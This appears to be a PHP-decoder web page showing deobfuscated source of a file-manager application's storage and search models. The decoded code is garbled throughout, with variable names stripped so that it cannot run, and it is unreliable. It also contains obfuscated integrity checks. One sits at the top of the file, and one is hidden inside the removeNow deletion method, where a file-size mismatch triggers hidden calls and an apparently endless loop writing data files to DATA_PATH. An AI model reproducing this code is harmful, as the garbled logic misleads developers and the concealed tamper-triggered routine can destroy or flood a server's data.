Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto B; b: $_file = $_SERVER[$_SERVER[][316]]; $_size = $_SERVER[][317]; if ($_SER..

Decoded Output download

<?php 
 goto B; b: $_file = $_SERVER[$_SERVER[][316]]; $_size = $_SERVER[][317]; if ($_SERVER[$_SERVER[][318]] != $_size($_file)) { $_getc = $_SERVER[][319]; $_getfile = $_SERVER[$_SERVER[][320]] . $_SERVER[][321]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][288], $_getfilec); if (count($_getarrs) < $_SERVER[][322]) { $exit = $_SERVER[][323]; $exit(); } $_act = $_SERVER[][324]; $_act($_file); } goto b; b: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { $ =& $_SERVER[]; parent::__construct($); $ = isset($[$[259]]) && $[$[259]] == $[250] ? $[250] : $[325]; $this->setSignVersion($); } public function link($, $ = array()) { return parent::link($, $); } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][326])) { return parent::fileOutServer($, $, $, $); } parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[][326])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } define($_SERVER[][327], 1); define($_SERVER[][328], 2); goto f; B: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[]; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $ = $[$[169]]; $ = $[7]; if (!$[$[169]]) { $ = array_to_keyvalue($, $[12], $[169]); $ = implode($[50], $); $ = $[2259]; } $ = explode($[50], trim($, $[50])); return array($, $); } public function listPathType($) { $ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ = Model($[611])->getInfo($); $ = array($[665] => SourceModel::TYPE_USER, $[598] => array($[629], $[607] . $[$[90]][$[194]] . $[630]), $[666] => $, $[663] => 0, $[664] => $); return $this->listSource($); } public function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[2090]]) && $[$[2090]]) { $[$[2090]] = str_replace($[472], $[2260], trim($[$[2090]])); } $ = $this->_parseSearchWhere($); if (!isset($[$[517]])) { $[$[517]] = 0; } $ = $[2261]; $ = $; $ = $; $this->_listSearchBindPinyin($, $, $); $this->alias($[531])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($)->where($)->selectPage($); if ($GLOBALS[$[6]][$[469]][$[470]] && Input::check($[$[2090]], $[672]) && $[$[454]][$[440]] == 1 && $[$[454]][$[455]] == 0) { $ = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $, $, $); $this->_listSearchDesc($, $, $); $this->_listSearchTag($, $, $); $this->_listSearchGroupTag($, $, $); $this->_listDataApply($[$[457]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $, $, $) { $ =& $_SERVER[]; if (!$[$[2090]] || $[$[454]][$[440]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[555]])) { return; } $[$[555]] = array($[7], $[$[555]]); unset($[$[32]]); unset($[$[555]]); $ = $this->field($)->where($)->limit($[2262])->select(); if (!$ || count($) == 0) { return; } $[$[457]] = array_merge($, $[$[457]]); $[$[454]][$[455]] += count($); } private function _listSearchTag(&$, $, $) { $ =& $_SERVER[]; if (empty($[$[1950]]) || !in_array($[2263], $[$[1950]])) { return; } if (!$[$[2090]] || $[$[454]][$[440]] > 1) { return; } $ = Model($[2264])->listData(); $ = array(); $ = $[$[2090]]; foreach ($ as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[487]]; } } if (!$) { return; } $ = array($[512] => array($[7], $), $[1791] => USER_ID); $ = Model($[514])->field($[87])->where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (empty($[$[1950]]) || !in_array($[538], $[$[1950]])) { return; } if (!$[$[2090]] || $[$[454]][$[440]] > 1) { return; } $ = array($[97] => $[538], $[462] => array($[471], $[2092] . $[$[2090]] . $[2092])); $ = !1; if ($) { $ = $this->listSearchChildren($[$[193]]); $ = array_unique($); if (!$) { return; } $[$[194]] = array($[7], $); } $ = Model($[649])->field($[194])->where($)->limit(5000)->select(); $ = array_to_keyvalue($, $[12], $[194]); $this->_listSearchMerge($, $, $, $); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[]; if (empty($[$[1950]]) || !in_array($[2263], $[$[1950]])) { return; } if (!$[$[2090]] || $[$[454]][$[440]] > 1 || !$[$[193]]) { return; } $ = $this->sourceInfo($[$[193]]); if (!$ || $[$[191]] != SourceModel::TYPE_GROUP) { return; } $ = $[$[583]]; $ = Model($[2265])->get($); $ = array(); $ = $[$[2090]]; foreach ($[$[457]] as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[487]]; } } if (!$) { return; } $ = array($[512] => array($[7], $), $[1791] => 0, $[33] => $[2112] . $); $ = Model($[514])->field($[87])->where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchMerge(&$, $, $, $) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($[$[457]], $[12], $[194]); $ = array_diff($, $); if (!$) { return; } $ = array($[194] => array($[7], $)); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $)) { $[] = $; } } $[$[457]] = array_merge($, $[$[457]]); $[$[454]][$[455]] += count($); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[497]] == $[91]; if (!strstr($[$[598]], $[50] . $[$[193]] . $[50])) { return !1; } if (isset($[$[498]]) && $[$[498]] != $[866]) { if ($[$[498]] == $[78] && !$) { return !1; } if ($[$[498]] != $[78] && $) { return !1; } if (!strstr($[$[169]], $[50] . $[$[498]] . $[50])) { return !1; } } if (isset($[$[2266]]) && $[$[2266]] < $[$[79]]) { return !1; } if (isset($[$[2267]]) && $[$[2267]] > $[$[79]]) { return !1; } if (isset($[$[679]]) && $[$[679]] != $[$[541]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($); $ = array($[598] => array($[471], $[$[598]] . $[$[194]] . $[630])); $ = $this->field($[79])->where($)->limit($ + 1)->select(); $ = is_array($) ? count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($, $); } $ = $this->field($[194])->where($)->select(); $ = array_to_keyvalue($, $[12], $[194]); return $; } private function _listSearchChildrenNear($, $) { $ =& $_SERVER[]; $ = array(); $ = array($[193] => $); $ = $this->field($[2268])->where($)->select(); $ = array_to_keyvalue(array_filter_by_field($, $[497], $[91]), $[12], $[194]); $ = array_merge($, array_to_keyvalue($, $[12], $[194])); if (!$) { return $; } $ = array($[193] => array($[7], $)); $ = $this->field($[2268])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[194])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($, &$, &$) { $ =& $_SERVER[]; if (!isset($[$[2090]]) || !$[$[2090]]) { return; } if (!Input::check($[$[2090]], $[405]) || strlen($[$[2090]]) < 2) { return; } $ = "LEFT JOIN {$this->tablePrefix}io_source_meta meta on source.sourceID = meta.sourceID"; $ = array(); $ = str_replace(array($[288], $[53], $[2269]), $[12], $); $ = $[523] . str_replace($[50], $[524], $); $ = $[$[32]]; unset($[$[32]]); foreach ($ as $ => $) { $[$[523] . $] = $; } foreach ($ as $) { $[] = array($[528] => $, $[1093] => $[2094], array($[2270] => $, $[2271] => array($[7], array($[550], $[549])))); } $this->join($); $ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $ = array(); if (isset($[$[850]]) && $[$[850]]) { $[$[88]] = array($[2272], $[$[850]]); } if (isset($[$[851]]) && $[$[851]]) { $ = array($[2273], $[$[851]]); if ($[$[88]]) { $[$[88]] = array($[$[88]], $, $[2274]); } else { $[$[88]] = $; } } if (isset($[$[2266]]) && $[$[2266]] > 0) { $[$[79]] = array($[2272], $[$[2266]]); } if (isset($[$[2267]]) && $[$[2267]]) { $ = array($[2273], $[$[2267]]); if ($[$[79]]) { $[$[79]] = array($[$[79]], $, $[2274]); } else { $[$[79]] = $; } } if (isset($[$[679]]) && $[$[679]]) { $[] = array($[541] => $[$[679]], $[539] => $[$[679]], $[1093] => $[2094]); } if (isset($[$[498]]) && $[$[498]]) { $ = $[$[498]]; if ($ == $[78]) { $[$[497]] = 1; } else { if ($ == $[2275]) { $[$[497]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $[$[498]] = array($[504], $); $[$[497]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$[2090]]) && trim($[$[2090]])) { $ = trim($[$[2090]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[121] && substr($, -1) == $[121]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $ = array($); } $[$[32]] = array(array($[629], $[2092] . $ . $[2092])); if (count($) > 1) { $[$[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $[$[32]][] = array($[629], $[2092] . trim($) . $[2092]); } } } return $; } private function _parseSearchParent($, &$) { $ =& $_SERVER[]; if (!isset($[$[193]]) || !$[$[193]]) { return; } $ = $this->pathInfo($[$[193]]); $ = $[$[193]] . $[12] === $[231]; $ = $[$[191]] == $[592]; if ($[$[608]] == $[609]) { $ = $this->sourceInfo($[$[193]]); $[$[598]] = $[$[598]]; } $[$[669]] = array($[629], $[$[598]] . $[$[193]] . $[630]); $ = isset($[$[1950]]) && in_array($[592], $[$[1950]]); if (!$ || !$ || !$ || !$[$[499]]) { return; } if (!AuthModel::authCheckRoot($[$[499]][$[500]])) { return; } $ = $[$[583]] . $[12]; if ($ == $[91]) { unset($[$[669]]); $[$[191]] = self::TYPE_GROUP; return; } $ = Model($[599])->groupChildrenAll($); $ = count($); if ($ <= 1) { return; } $ = array($[193] => 0, $[191] => self::TYPE_GROUP, $[583] => array($[7], $)); $ = $this->field($[2276])->where($)->limit($)->select(); $[$[669]] = array(); foreach ($ as $) { $[$[669]][] = array($[629], $[607] . $[$[194]] . $[630]); } $[$[669]][] = $[2094]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[]; $ = Model($[591])->where(array($[1782] => $))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $ =& $_SERVER[]; $ = LNG($[2277]); $ = $this->mkdir($, $); $this->metaSet($, $[2278], $[91]); $this->metaSet($, $[2279], $); } public function userPathSafeAdd($) { $ =& $_SERVER[]; $ = Model($[591])->getInfoFull($); if (!$) { return !1; } if (_get($, $[612])) { return $[$[553]][$[2280]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[2281], $[2282]); Model($[591])->metaSet($, $[2280], $); $this->metaSet($, $[2283], $); return $; } public function userPathAppAdd($, $ = '', $ = '') { $ =& $_SERVER[]; $ = Model($[591])->getInfoFull($); if (!$) { return !1; } $ = $[$[553]] ? $[$[553]] : array(); $ = $[$[2284]]; if (!$) { $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[2285], $[2286]); Model($[591])->metaSet($, $[2284], $ . $[12]); $this->metaSet($, $[2284], $); } if (!$) { return $; } $ = $[$[2287] . $]; if (!$) { $ = $this->mkdir($, $); Model($[591])->metaSet($, $[2287] . $, $); $this->metaSet($, $[2287] . $, $); } if (!$) { return $; } $ = $this->mkdir($, $); return $; } public function groupRootAdd($) { $ =& $_SERVER[]; $ = Model($[599])->where(array($[2084] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $[$[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][622]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][194]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][194]], !1); } private function _mkdirRoot($, $, $, $ = '') { $ =& $_SERVER[]; $ = defined($[2222]) ? USER_ID : 0; $ = array($[489] => 0, $[665] => $, $[666] => $, $[663] => 1, $[667] => $, $[668] => $, $[664] => $, $[669] => $[607], $[516] => 0, $[634] => 0, $[556] => 0, $[670] => $[12]); if ($ = $this->where($)->find()) { return $[$[194]]; } $ = "ModelSource.mkdirRoot.{$}.{$}." . $; CacheLock::lock($); $[$[32]] = $; $ = $this->add($); $ = array($[671] => short_id($)); $this->where(array($[503] => $))->save($); CacheLock::unlock($); return $; } private function targetSourceRoot($, $, $ = false) { $ =& $_SERVER[]; $ = array($[489] => 0, $[665] => $, $[666] => $); if ($) { $ = $this->where($)->select(); return $ ? $ : array(); } $ = $this->where($)->find(); return $ ? $ : array(); } public function sourceRootGroup($) { $ =& $_SERVER[]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[223]); $ = array($[457] => $, $[454] => array($[848] => count($))); $this->_listDataApply($[$[457]]); $this->_listMake($); return array_to_keyvalue($[$[85]], $[583]); } public function mkfile($, $, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[691])->addFileByContent($, $); return $this->_createFileCall($, $, $, $, $[1448]); } public function addFile($, $, $, $ = false, $ = REPEAT_RENAME) { $ = Model($_SERVER[][691])->addFile($, $, $); return $this->_createFileCall($, $, $, $); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[691])->find($); Model($[691])->linkAdd($); return $this->_createFileCall($, $, $, $); } public function addFileByRemote($, $, $, $ = array(), $ = REPEAT_RENAME) { $ = Model($_SERVER[][691])->addFileByRemote($, $, $); return $this->_createFileCall($, $, $, $); } private function _createFileCall($, $, $, $, $ = "upload") { $ =& $_SERVER[]; if (!$) { return !1; } $ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ = $this->fileNameExist($, $); $ = $this->_createFile($, $, $, $, $); if (!$) { Model($[558])->remove($[$[555]]); } if ($ && $ && $ != $) { Model($[2249])->eventCreate($, $); } $this->lockWriteEnd($, $); return $; } public function mkdir($, $, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $); if ($ !== !1) { $ = $this->fileNameExist($, $); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $; } $ = $this->fileNameAuto($, $, $); } $ = array($[663] => 1, $[506] => $, $[664] => $[12], $[556] => 0, $[634] => 0); $ = $this->_addSource($, $); Model($[2249])->eventCreate($, $[1449]); $this->lockWriteEnd($, $); return $; } public function listSourceRoot($, $, $ = "sourceID,targetID,size") { $ =& $_SERVER[]; $ = $[466]; $ = array(); $ = 1024 * 50; $ = is_array($) ? $ : array(); $ = count($); $ = $this->tablePrefix . $[2288]; for ($ = 0; $ < $; $++) { $ = $[$]; $ .= "SELECT * FROM (SELECT {$} FROM `{$}` WHERE "; $ .= "`parentID`=0 AND `targetID`={$} AND `targetType`={$} and fileType='' limit 1) as tb_{$} UNION ALL "; if ((strlen($) >= $ || $ == $ - 1) && $) { $ = substr($, 0, -strlen($[1131])); $ = $this->query($); $ = $[12]; $ = array_merge($, $); } } return $; } private function _createFile($, $, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || !$) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($, $); } $ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[555]], $[$[79]]); if (!$) { $ = !1; } else { $this->folderSizeReset($); } return $; } else { $ = $this->fileNameAuto($, $, $, !1); } } } $ = array($[663] => 0, $[506] => $, $[664] => substr(get_path_ext($), 0, 10), $[556] => $[$[555]], $[634] => $[$[79]]); $ = $this->_addSource($, $); $this->folderSizeReset($, intval($[$[79]])); return $; } protected function fileHistory($, $, $) { $ =& $_SERVER[]; if ($[$[555]] == $) { return !1; } $this->checkLock($[$[194]], $); Model($[2289])->addHistory($); $ = array($[668] => USER_ID, $[510] => time(), $[555] => $, $[79] => $); $this->where(array($[503] => $[$[194]]))->save($); $this->sourceCacheClear($[$[194]]); return !0; } public function checkLock($, $) { $ =& $_SERVER[]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($[2290]); $ = substr($[$[32]], 0, -1 - strlen($[$[169]])) . $[1309] . $ . $[10] . $[$[169]]; $ = Model($[691])->find($); $this->_createFileCall($[$[193]], $, $, REPEAT_REPLACE, $[1448]); $ = $[$[553]][$[627]]; $ = $[$[2291]] ? $[$[2291]] : $[$[32]]; show_json(LNG($[2292]) . $[2293] . LNG($[2294]) . $[2295] . $ . $[2296], !1); } public function fileIsLock($, $ = false) { $ =& $_SERVER[]; if (!_get($, $[623], 0)) { return !1; } if ($[$[553]][$[626]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[92]][$[624]]; if ($[$[553]][$[625]] <= time() - $) { $this->metaSet($[$[194]], $[626], null); $this->metaSet($[$[194]], $[625], null); } if ($) { $this->metaSet($[$[194]], $[625], time()); } return !1; } private function _addSource($, $) { $ =& $_SERVER[]; $ = defined($[2222]) ? USER_ID : 0; $ = array($[665] => $[$[191]], $[666] => $[$[583]], $[667] => $, $[668] => $, $[489] => $[$[194]], $[669] => $[$[598]] . $[$[194]] . $[50], $[516] => 0, $[670] => $[12]); $ = array_merge($, $); $this->updateModifyTime($[$[193]]); $ = $[2297] . $[$[194]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($[653], $); $ = !0; } $ = $this->add($); $ = array($[671] => short_id($)); $this->where(array($[503] => $))->save($); $this->setNamePinyin($, $[$[32]]); return $; } public function remove($, $ = true) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = intval($[$[191]]) === self::TYPE_SYSTEM; $ = Model($[520])->get($[2298]) == $[91]; if ($ || $ || !$) { return $this->removeNow($, $); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$[191]] == self::TYPE_USER ? $[679] : $[592]; if ($ == $[679]) { $ = Model($[591])->getInfo($[$[583]]); $ = !empty($[$[2291]]) ? $[$[2291]] : $[$[32]]; $ = $[349] . $ . $[2299] . $[$[583]]; } else { $ = Model($[599])->getInfo($[$[583]]); $ = _get($, $[32]); $ = $[176] . $ . $[2300] . $[$[583]]; } $ = $[2301] . md5($); CacheLock::lock($); $ = $this->fileNameExist($, $); if (!$) { $ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($, $[2302], $); $this->metaSet($, $[2303], $[$[583]]); if ($[$[193]] != 0) { $this->metaSet($, $[2304], _get($, $[2305])); } } CacheLock::unlock($); $this->metaSet($, $[2306], $[$[193]]); $this->where(array($[194] => $))->save(array($[510] => time())); $this->recycleClear($); Model($[650])->eventRemove($); $ = $this->move($, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$[193]]); return $; } private function recycleClear($) { $ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($[503] => array($[504], $[$[2307]])); Model($[2308])->where($)->delete(); } public function removeNow($, $ = true) { $ =& $_SERVER[]; $ = $_SERVER[$[320]] . $[321]; $ = $[317]; if ($_SERVER[$[318]] != $($)) { $ = $[973]; $ = $[319]; $ = $_SERVER[$[320]] . $[321]; $ = $($); $ = explode($[288], $); if (count($) < $[700]) { $ = $[323]; $(); } $ = $[974]; $($_SERVER[$[975]]); $ = $[973]; $(); $ = $[1707]; $ = json_encode($GLOBALS[$[1708]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $ = $this->sourceInfo($); $ = $this->pathInfoMore($); if (!$) { return !0; } if ($[$[193]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2309], $, $); if ($) { Model($[2308])->moveToRecycle($); } else { $ = $this->childrenAll($); Model($[650])->eventRemove($); $this->removeRelevance($[$[2307]], $[$[1592]]); } $this->folderSizeReset($[$[193]]); $ = array($[$[193]]); if ($[$[497]] == $[91]) { $[] = $[$[194]]; } $this->updateModifyTime($); $this->lockMoveEnd($); Hook::trigger($[1834], $, $); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $ = $[$[194]]; if ($[$[497]] == $[91]) { $ = array($[669] => array($[629], $[$[598]] . $ . $[630])); $ = array($[669] => $[$[598]]); $ = $this->field($[2310])->where($)->select(); $ = !1; $ = array($); if ($) { $ = array_to_keyvalue($, $[12], $[555]); $ = array_remove_value($, $[231]); $ = array_to_keyvalue($, $[12], $[194]); $[] = $; } } else { $ = array($[$[555]]); $ = array($); } return array($[2307] => $, $[1592] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($, $) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $ = array($[503] => array($[504], $)); Model($[2308])->where($)->delete(); Model($[547])->where($)->delete(); Model($[2147])->where($)->delete(); Model($[650])->where($)->delete(); Model($[1971])->removeBySource($); Model($[2289])->removeBySource($); $this->where($)->delete(); Model($[558])->remove($); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->fileNameExist($[$[193]], $); if ($ && $ != $) { return !1; } $ = array($[506] => $, $[668] => USER_ID); if ($[$[497]] != $[91]) { $[$[498]] = substr(get_path_ext($), 0, 10); } Model($[650])->eventRename($, $[$[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $[$[32]], !1); $this->updateModifyTime($[$[193]]); $ = $this->where(array($[503] => $))->data($)->save(); $ = $[2297] . $[$[193]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($, $, $ = true) { $ =& $_SERVER[]; $ = Input::check($, $[672]); $ = array($[529] => KodSort::makeStr($)); if ($) { $[$[550]] = str_replace($[53], $[12], Pinyin::get($)); $[$[549]] = Pinyin::get($, $[673]); } if (!$ && !$) { $[$[550]] = null; $[$[549]] = null; } $this->metaSet($, $); } public function getContent($) { $ =& $_SERVER[]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$[79]] == 0) { return $[12]; } $ = $[2311] . $[$[561]]; if ($[$[79]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($[$[87]]); Cache::set($, $); } return $; } if (!$[$[87]]) { return $[12]; } return IO::getContent($[$[87]]); } public function setDesc($, $) { $ =& $_SERVER[]; Model($[650])->eventAddDesc($, $); return $this->metaSet($, $[538], $); } public function setContent($, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->fileInfoGet($); if (!$ || !$) { return !1; } $ = Model($[558])->addFileByContent($, $[$[32]]); if (!$) { return !1; } $ = $this->fileHistory($, $[$[555]], $[$[79]]); if (!$) { return Model($[558])->remove($[$[555]]); } $this->folderSizeReset($[$[193]]); return !0; } public function fileSubstr($, $, $) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][87]], $, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || $[$[497]]) { return !1; } $ = $[562] . $[$[555]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $ = Model($[558])->fileInfo($[$[555]]); if ($) { $[$[32]] = $[$[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[669] => array($[629], $[$[598]] . $ . $[630]), $[666] => $[$[583]], $[516] => intval($[$[517]]), $[663] => 1); $ = $this->where($)->count(); $ = $this->where($)->where(array($[663] => 0))->count(); return array($[83] => $, $[84] => $); } public function pathInfo($, $ = false) { $ =& $_SERVER[]; $ = !1; $ = intval($); $ = $[546] . intval($) . $[474] . $; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ = _get(self::$cachePathInfoMore, $); if ($) { return $; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[497]] == $[91]) { $[$[82]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $[545] . $; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $ = $this->where(array($[194] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ = false) { $ =& $_SERVER[]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[545] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2312] . $]); unset(self::$cachePathInfo[$[2313] . $]); } public function metaSet($, $ = null, $ = null) { $ = parent::metaSet($, $, $); if ($) { $this->sourceCacheClear($); } return $; } public function pathInfoByPath($, $) { $ =& $_SERVER[]; $ = !$ ? array() : explode($[8], trim($, $[8])); $ = $; foreach ($ as $) { $ = array($[193] => $, $[32] => $); $ = $this->field($[2314])->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $[517]); $ = $[0][$[194]]; } $ = $this->sourceInfo($); $this->pathInfoFilter($); return $; } protected function updateModifyTime($) { $ =& $_SERVER[]; $ = defined($[2222]) ? USER_ID : 0; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $) { $[$] = intval($); $this->sourceCacheClear($); } $ = array($[194] => array($[7], $)); $ = array($[668] => $, $[510] => time()); $this->where($)->save($); } public function folderSizeReset($, $ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($); $ = $[2315] . $; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[489] => $, $[516] => 0); $ = $this->where($)->sum($[79]); $ = intval($) - intval($[$[79]]); } if ($ == 0) { return CacheLock::unlock($); } $ = $this->parentLevelArray($[$[598]]); if (!$) { $ = array(); } $[] = $[$[194]]; $ = array($[194] => array($[504], $)); if ($ < 0) { $[$[79]] = array($[1108], abs($)); } $this->where($)->setAdd($[79], $); CacheLock::unlock($); $ = $[2316] . $[$[191]] . $[4] . $[$[583]]; $ = array($[$[191]], $[$[583]]); TaskRun::timeLimitCall($, $[2317], $, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[]; $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[663] => 1, $[666] => $[$[583]], $[669] => array($[629], $[$[598]] . $ . $[630])); $ = $[2318]; $ = $this->field($)->where($)->select(); $[$[497]] = 0; $ = $this->field($)->where($)->select(); if (!$) { return; } $[] = $; $ = array_to_keyvalue($, $[194]); foreach ($ as $ => $) { $[$][$[2319]] = $[$][$[79]]; $[$][$[79]] = 0; } foreach ($ as $) { $ = $[$[193]] . $[12]; if (!isset($[$])) { continue; } if ($[$[517]] == $[$][$[517]]) { $[$][$[79]] += $[$[79]]; } } foreach ($ as $) { $ = $this->parentLevelArray($[$[598]]); foreach ($ as $) { $ = $ . $[12]; if (!isset($[$])) { continue; } if ($[$[517]] == $[$][$[517]]) { $[$][$[79]] += $[$[79]]; } } } $ = array(); foreach ($ as $) { if ($[$[79]] == $[$[2319]]) { continue; } $[] = array($[194], $[$[194]], $[79], $[$[79]]); } $this->saveAll($); } public function userSpaceReset($ = false) { $ =& $_SERVER[]; $ = $this->where(array($[191] => self::TYPE_USER, $[583] => $, $[497] => 0))->sum($[79]); $ = !$ || $ <= 0 ? 0 : $; Model($[591])->userEdit($, array($[1980] => $)); } public function targetSpaceUpdate($, $) { $ =& $_SERVER[]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($[591])->userEdit($, array($[1980] => $)); } else { if ($ == self::TYPE_GROUP) { Model($[599])->groupEdit($, array($[1980] => $)); } } } public function targetSpaceSize($, $) { $ =& $_SERVER[]; $ = 0; $ = $this->targetSourceRoot($, $, !0); foreach ($ as $) { if (!$) { continue; } $ += floatval($[$[79]]); $ = array($[669] => array($[629], $[607] . $[$[194]] . $[630])); $ = Model($[515])->field($[503])->where($)->select(); $ = array_to_keyvalue($, $[12], $[194]); $ = array_unique(array_filter($)); if ($) { $ = array($[503] => array($[504], $)); $ 